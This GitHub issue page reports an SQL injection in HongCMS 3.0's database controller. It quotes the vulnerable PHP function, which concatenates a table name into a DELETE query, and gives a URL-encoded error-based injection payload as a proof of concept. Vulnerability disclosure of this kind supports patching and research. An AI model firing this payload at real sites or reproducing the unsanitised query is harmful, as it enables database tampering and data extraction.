Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

HongCMS 3.0 - SQL Injection #4

Open
Hzllaga opened this issue Jun 26, 2018 · 0 comments
Open

HongCMS 3.0 - SQL Injection #4

Hzllaga opened this issue Jun 26, 2018 · 0 comments

Comments

@Hzllaga
Copy link

Hzllaga commented Jun 26, 2018

Vulnerability file: admin\controllers\database.php

private function EmptyTable($tablename)
{
    $this->db->exe("DELETE FROM `$tablename`");
    $msg = '已完成清空数据库表: ' . $tablename . '<br/>';

    return $msg;
}

The $tablename parameter controllable.

POC (Administrator Privilege):

/admin/index.php/database/operate?dbaction=emptytable&tablename=hong_vvc%60%20where%20vvcid%3D1%20or%20updatexml%282%2Cconcat%280x7e%2C%28version%28%29%29%29%2C0%29%20or%20%60

tim 20180626123926

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant